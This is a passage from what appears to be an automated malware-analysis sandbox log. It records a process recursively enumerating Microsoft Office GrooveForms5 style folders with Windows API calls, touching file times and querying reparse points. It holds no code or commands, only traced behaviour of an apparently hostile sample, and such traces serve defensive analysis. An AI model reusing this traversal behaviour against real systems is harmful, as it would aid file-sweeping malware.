lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.GIF", cAlternateFileName="")) returned 1 [0076.637] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5e6bd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0076.637] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0076.637] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0076.637] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0076.637] GetLastError () returned 0x12 [0076.637] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a2160) returned 1 [0076.637] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0076.637] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a2058) returned 1 [0076.637] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a1f50) returned 1 [0076.637] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd3f79f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xcb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBlue.css", cAlternateFileName="")) returned 1 [0076.637] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd3f79f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x71f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Beige.css", cAlternateFileName="")) returned 1 [0076.637] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd4dc230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd4dc230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Biscay", cAlternateFileName="")) returned 1 [0076.637] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a1f50 [0076.637] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\biscay"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd4dc230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd4dc230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0076.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\biscay"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0076.679] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0076.679] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xac6908 [0076.679] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xac6908, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0xac6908, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0076.680] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac6908) returned 1 [0076.680] NtClose (Handle=0x168) returned 0x0 [0076.680] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a1f50) returned 1 [0076.680] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.680] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0076.680] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a1f50 [0076.680] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.680] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a2058 [0076.680] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0076.680] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd4dc230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd4dc230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.680] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4dc230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0076.680] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.680] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.680] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.681] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.681] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.681] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a2160 [0076.681] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0076.681] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf640 [0076.681] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a2898 [0076.681] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.681] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4dc230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0076.681] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.681] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.681] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.681] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.681] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.681] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf660 [0076.681] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a29a0 [0076.681] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.682] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4dc230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0076.682] GetLastError () returned 0x12 [0076.682] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e90c0 [0076.682] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0076.682] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd4dc230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd4dc230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.682] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4dc230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0076.682] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4dc230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0076.682] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4dc230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0076.682] GetLastError () returned 0x12 [0076.682] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a2058) returned 1 [0076.682] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0076.682] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a2160) returned 1 [0076.682] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a1f50) returned 1 [0076.682] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd80, dwReserved0=0x0, dwReserved1=0x0, cFileName="Biscay.css", cAlternateFileName="")) returned 1 [0076.682] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4dc230, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd502390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightOrange", cAlternateFileName="")) returned 1 [0076.682] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a1f50 [0076.682] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4dc230, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd502390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0076.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0076.976] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0076.977] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xac6908 [0076.977] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xac6908, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0xac6908, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0076.977] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac6908) returned 1 [0076.977] NtClose (Handle=0x178) returned 0x0 [0076.977] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a1f50) returned 1 [0076.977] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.977] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0076.977] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a1f50 [0076.977] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.977] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a2160 [0076.978] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e90c0 [0076.978] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4dc230, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd502390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.978] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4dc230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x143, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="")) returned 1 [0076.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.978] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.978] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a2058 [0076.978] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0076.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf680 [0076.978] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a2aa8 [0076.978] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.978] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.GIF", cAlternateFileName="")) returned 1 [0076.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.979] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.979] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf6a0 [0076.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a2bb0 [0076.979] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.979] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0076.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.979] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.979] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf6c0 [0076.979] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a2cb8 [0076.980] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.980] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0076.980] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.980] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.980] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.980] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.980] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.980] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf6e0 [0076.980] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a2dc0 [0076.980] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.980] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0076.980] GetLastError () returned 0x12 [0076.980] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0076.980] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0076.980] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4dc230, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd502390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.980] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4dc230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x143, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="")) returned 1 [0076.980] FindNextFileW (in: hFindFile=0x2e9040, 